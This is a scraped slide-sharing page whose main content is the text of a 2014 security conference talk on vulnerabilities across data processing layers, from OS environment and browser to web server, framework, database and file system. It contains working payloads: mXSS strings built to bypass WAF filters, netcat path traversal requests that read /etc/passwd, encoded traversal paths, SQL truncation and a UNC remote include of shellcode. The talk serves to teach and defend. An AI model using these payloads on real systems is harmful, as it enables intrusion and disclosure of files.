activity_diagram_combine_v4_20190827.pdfactivity_diagram_combine_v4_20190827.pdfJamie (Taka) Wang
 
Bird eye's view on Camunda open source ecosystem
Bird eye's view on Camunda open source ecosystemBird eye's view on Camunda open source ecosystem
Bird eye's view on Camunda open source ecosystemAsko Soukka
 
Designing A Time bound resource download URL
Designing A Time bound resource download URLDesigning A Time bound resource download URL
Designing A Time bound resource download URLRuncy Oommen
 

Dernier (20)

Basic Building Blocks of Internet of Things.
Basic Building Blocks of Internet of Things.Basic Building Blocks of Internet of Things.
Basic Building Blocks of Internet of Things.
 
201610817 - edge part1
201610817 - edge part1201610817 - edge part1
201610817 - edge part1
 
Using IESVE for Loads, Sizing and Heat Pump Modeling to Achieve Decarbonization
Using IESVE for Loads, Sizing and Heat Pump Modeling to Achieve DecarbonizationUsing IESVE for Loads, Sizing and Heat Pump Modeling to Achieve Decarbonization
Using IESVE for Loads, Sizing and Heat Pump Modeling to Achieve Decarbonization
 
AI Fame Rush Review – Virtual Influencer Creation In Just Minutes
AI Fame Rush Review – Virtual Influencer Creation In Just MinutesAI Fame Rush Review – Virtual Influencer Creation In Just Minutes
AI Fame Rush Review – Virtual Influencer Creation In Just Minutes
 
The Data Metaverse: Unpacking the Roles, Use Cases, and Tech Trends in Data a...
The Data Metaverse: Unpacking the Roles, Use Cases, and Tech Trends in Data a...The Data Metaverse: Unpacking the Roles, Use Cases, and Tech Trends in Data a...
The Data Metaverse: Unpacking the Roles, Use Cases, and Tech Trends in Data a...
 
UiPath Studio Web workshop series - Day 7
UiPath Studio Web workshop series - Day 7UiPath Studio Web workshop series - Day 7
UiPath Studio Web workshop series - Day 7
 
OpenShift Commons Paris - Choose Your Own Observability Adventure
OpenShift Commons Paris - Choose Your Own Observability AdventureOpenShift Commons Paris - Choose Your Own Observability Adventure
OpenShift Commons Paris - Choose Your Own Observability Adventure
 
Anypoint Code Builder , Google Pub sub connector and MuleSoft RPA
Anypoint Code Builder , Google Pub sub connector and MuleSoft RPAAnypoint Code Builder , Google Pub sub connector and MuleSoft RPA
Anypoint Code Builder , Google Pub sub connector and MuleSoft RPA
 
KubeConEU24-Monitoring Kubernetes and Cloud Spend with OpenCost
KubeConEU24-Monitoring Kubernetes and Cloud Spend with OpenCostKubeConEU24-Monitoring Kubernetes and Cloud Spend with OpenCost
KubeConEU24-Monitoring Kubernetes and Cloud Spend with OpenCost
 
Nanopower In Semiconductor Industry.pdf
Nanopower  In Semiconductor Industry.pdfNanopower  In Semiconductor Industry.pdf
Nanopower In Semiconductor Industry.pdf
 
Comparing Sidecar-less Service Mesh from Cilium and Istio
Comparing Sidecar-less Service Mesh from Cilium and IstioComparing Sidecar-less Service Mesh from Cilium and Istio
Comparing Sidecar-less Service Mesh from Cilium and Istio
 
Artificial Intelligence & SEO Trends for 2024
Artificial Intelligence & SEO Trends for 2024Artificial Intelligence & SEO Trends for 2024
Artificial Intelligence & SEO Trends for 2024
 
IaC & GitOps in a Nutshell - a FridayInANuthshell Episode.pdf
IaC & GitOps in a Nutshell - a FridayInANuthshell Episode.pdfIaC & GitOps in a Nutshell - a FridayInANuthshell Episode.pdf
IaC & GitOps in a Nutshell - a FridayInANuthshell Episode.pdf
 
Cybersecurity Workshop #1.pptx
Cybersecurity Workshop #1.pptxCybersecurity Workshop #1.pptx
Cybersecurity Workshop #1.pptx
 
UiPath Studio Web workshop series - Day 6
UiPath Studio Web workshop series - Day 6UiPath Studio Web workshop series - Day 6
UiPath Studio Web workshop series - Day 6
 
20230104 - machine vision
20230104 - machine vision20230104 - machine vision
20230104 - machine vision
 
Crea il tuo assistente AI con lo Stregatto (open source python framework)
Crea il tuo assistente AI con lo Stregatto (open source python framework)Crea il tuo assistente AI con lo Stregatto (open source python framework)
Crea il tuo assistente AI con lo Stregatto (open source python framework)
 
activity_diagram_combine_v4_20190827.pdfactivity_diagram_combine_v4_20190827.pdf
activity_diagram_combine_v4_20190827.pdfactivity_diagram_combine_v4_20190827.pdfactivity_diagram_combine_v4_20190827.pdfactivity_diagram_combine_v4_20190827.pdf
activity_diagram_combine_v4_20190827.pdfactivity_diagram_combine_v4_20190827.pdf
 
Bird eye's view on Camunda open source ecosystem
Bird eye's view on Camunda open source ecosystemBird eye's view on Camunda open source ecosystem
Bird eye's view on Camunda open source ecosystem
 
Designing A Time bound resource download URL
Designing A Time bound resource download URLDesigning A Time bound resource download URL
Designing A Time bound resource download URL
 

Vulnerabilities on Various Data Processing Levels

  • 1. Vulnerabilities in data processing layers Omar Ganiev PHDays 2014 Moscow
  • 2. whoami • Beched (ahack.ru, @ahack_ru) • Math student • RDot.Org (CTF) team • Penetration testing expert at IncSecurity
  • 3. Intro • Application’s behaviour is defined not only by its code, but also by a plenty of external factors such as environment • We’ll try to dig into different layers of data processing and point out the potential dangers which are often ignored by developers
  • 5. Real program • A lot of inputs • User supplied input • Operating system environment • Hardware • We‘ll talk about general situation and will pay specific attention to web applications
  • 6. Web application interaction Browser Web server Application
  • 7. Web application interaction Browser Web server Framework Database Application
  • 8. Request processing layers • Hardware • Operating system • Browser • Network • Web server • Framework • Application • Database • File system
  • 9. Request processing layers • In general case: Hardware OS Client Network Server
  • 10. Data processing • Each layer has some inputs and outputs • Each input and output is somehow processed, normalized, filtered, etc • Developers often consider only the user inputs, which are explicitly defined in the code • Other problem is that often output contains sensitive information which is used as an input for some functions
  • 11. Input/output trust • Which input can be trusted, and which one is user-controlled? • Which input is secret, and which one is contained in output? • This is not always clear • Let’s observe each abstract layer and look at input and output processing weaknesses
  • 12. Hardware layer • Input from pseudo devices /dev/random , /dev/urandom in Linux is not always safe, see http://www.blackhat.com/presentations/bh- usa-06/BH-US-06-Gutterman.pdf • Speed of system clock quartz crystals depends on the temperature. This creates a side channel (clock skew) for attacking anonymity systems: http://www.cl.cam.ac.uk/~sjm217/papers/ccs0 6hotornot.pdf • Cryptanalysis via various physical side channels
  • 13. Operating system layer • int main() { system(“id”); } • Safe? No! There’re no inputs in application, but there’re inputs in environment • PATH=.:$PATH • Put shellcode in ./id and run the executable • Real-world example: CVE-2013-1662, unsafe popen of lsb_release file in suid vmware- mount binary
  • 14. Operating system layer • External libraries provide another input point • This results in such attacks as DLL injection and hooking • CreateRemoteThread, SetWindowsHookEx, etc in Windows • LD_PRELOAD in Linux
  • 15. Browser layer • Browser makes a lot of transformations of the data • The purpose of transformation is standard compliance (like RFC, W3C) • The transformations are often done after input validation by web application • Breaking standards leads to various client-side attacks
  • 16. Browser layer • XSS, UI redressing, URL spoofing, HTTP response splitting, open redirects via the single HTTP parameter – Request-path: https://rdot.org/forum/showthread.php?t=25 96 (by @black2fan) • Browsers incorrectly treat Location response header and inject malicious data into Request- path
  • 17. Browser layer • Mutated XSS (mXSS) is an attack on the output • Browsers compile non-valid HTML pages into some canonical form • The transformations can be quite weird: https://cure53.de/fp170.pdf • More examples: <listing>&lt;img src=1 onerror=alert(1)&gt;</listing> <img src= alt=“onerror=alert(1);”> • Try at http://html5sec.org/innerhtml/
  • 18. Browser layer • All the checks and input validation are typically done on the server side • Hence, mXSS can bypass such checks and WAF • Consider signature-based filter (for example, in CMS Bitrix) • We can encode bad words in the following mXSS payload for IE: <listing>&lt;img src=1 o&#x6e;error=alert(1)&gt;</listing> • This is rendered into <img src=1 onerror=alert(1)> and bypasses WAF
  • 19. Network layer • TCP timestamps can reveal various information (see Hardware layer) • Network administrators often forget about internal recursive DNS servers, which makes it possible to transfer data in DNS tunnel, bypassing firewalls
  • 20. Web server layer • HTTP daemon should verify validity of the packets • Fields should meet RFC rules • But can one assume that this is the case and trust any HTTP header field? • No! Apache is a typical example of the software, which breaks the rules
  • 21. Web server layer • Let’s discover Apache magic $ echo a | nc localhost 80 • 400 error? Nope, the index page is loaded. Note this: ["SERVER_PROTOCOL"]=> string(8) "HTTP/0.9" ["REQUEST_METHOD"]=> string(1) "a" ["QUERY_STRING"]=> string(0) "" ["REQUEST_URI"]=> string(0) ""
  • 22. Web server layer • Often $_SERVER[‘REQUEST_URI’] is used in file inclusion, can we perform a path traversal (not in QUERY_STRING)? Example: <? $docroot = $_SERVER['DOCUMENT_ROOT']; $url = explode('?', $_SERVER['REQUEST_URI']); $path = substr($url[0], 1); $parts = explode('/', $path); if($parts[0] == 'assets') { readfile("$docroot/$path"); exit(); }
  • 23. Web server layer • Okay, let’s try: $ echo 'GET /../../../../../etc/passwd' | nc localhost 80 <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>400 Bad Request</title>
  • 24. Web server layer • Here comes double-slash magic: $ echo -e 'GET xassets/../../..//etc/passwd' | nc localhost 80 root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh … • Clearly, this should not work, but it works. You should not trust the web server data processing!
  • 25. Web server layer • Similar constructions are often used in MVC projects to parse the controller and action values. Example from the article in Xakep magazine (167): $piecesOfUrl = explode('/', $_SERVER['REQUEST_URI']); … $controllerName = $piecesOfUrl[1]; … include $fileWithControllerPath;
  • 26. Web server layer • Looks like secure, but what if someone launches this on the Windows box with Apache? • The following payload will then include myfile.php: GET a/................myfile/..// • There’re lots of such code snippets on GitHub (vulnerable to file inclusion via REQUEST_URI, not necessarily under Windows)
  • 27. Web server layer • The Host header is also untrustworthy, since the usage of $_SERVER[‘HTTP_HOST’] can lead to logical vulnerabilities • For instance, spoofing of the password restore link • See http://www.skeletonscribe.net/2013/05/pract ical-http-host-header-attacks.html
  • 28. Web server layer • This was all about input. What about output? • Web servers reveal current server time (Date header), static files’ modification time (Last- Modified header) • This can be used to predict the PRNG seed in PHP (using also PHPSESSID cookie value): http://habrahabr.ru/company/pt/blog/149746/
  • 29. Web server layer • Also consider the following code: function genid() { mt_srand(time()); $h = fopen('entropy', 'r'); $fstat = fstat($h); fclose($h); return md5(mt_rand() . $fstat[ 'atime' ] . $fstat[ 'mtime' ]); } • An id generated by such a function is insecure: an attacker can obtain mtime from Last-Modified header and atime -- by accessing ‘entropy’ file and reading Date header
  • 30. Framework layer • Do not always trust frameworks! Not every method is secure, read the source code and documentation • Insecure Ruby on Rails methods: http://rails- sqli.org/ • Rather popular Yii class with a lot of find*() methods without SQL injection protection: https://github.com/yiisoft/yii/blob/master/fra mework/db/ar/CActiveRecord.php
  • 31. Framework layer • Example of insecure data processing inside the framework CakePHP: http://www.securityfocus.com/archive/1/527974 /30/0/threaded • The data (PATH_INFO variable) is first validated and then decoded, thus it’s possible to bypass the check: /theme/Test1/%2e.//%2e.//%2e.//%2e.//%2e.// %2e.//%2e.//%2e.//%2e.//%2e.//%2e.//%2e.//% 2e./etc/passwd
  • 32. Database layer • DBMS store data in the fields with particular format (VARCHAR, BLOB, TEXT, INT, etc) • Each format has its own limitations, thus, an input data is transformed – trimmed or truncated • SQL column truncation attack can lead to compromise of any user account in the system: INSERT INTO `users` VALUES (‘admin x’, ‘password’);
  • 33. Database layer • PHP function addslashes can be bypassed: http://shiflett.org/blog/2006/jan/addslashes- versus-mysql-real-escape-string • This is due to charset transformations, when MySQL connection uses multi-byte charsets like BIG5 or GBK
  • 34. File system layer • In PHP there’re a lot of weird file path normalization algorithms • FindFirstFile WinAPI method allows to pass wildcards instead of exact paths to include functions under Windows: https://rdot.org/forum/showthread.php?t=926 • For example, this will include C:boot.ini: include 'C:<oot"<<';
  • 35. File system layer • In old version of PHP: /etc/passwd///[x4096]///.php = /etc/passwd ; /etc/passwd///// = /etc/passwd • Open_basedir bypass via glob wrapper: http://ahack.ru/bugs/php-vulnerabilities- exploits.htm • The path glob://… is first considered as relative and then is converted into URL
  • 36. File system layer • Allow_url_include and allow_url_fopen bypass via UNC path: include '//IP/path/shellcode.txt'; • Security checks are performed before transformation into remote UNC path
  • 37. Outro • Interaction with program goes through different layers, and each layer has its own parameters and data processing rules • The rule: first formatting, then validation • Each variable, which is not explicitly set in the code, should be treated as a potential source of malicious data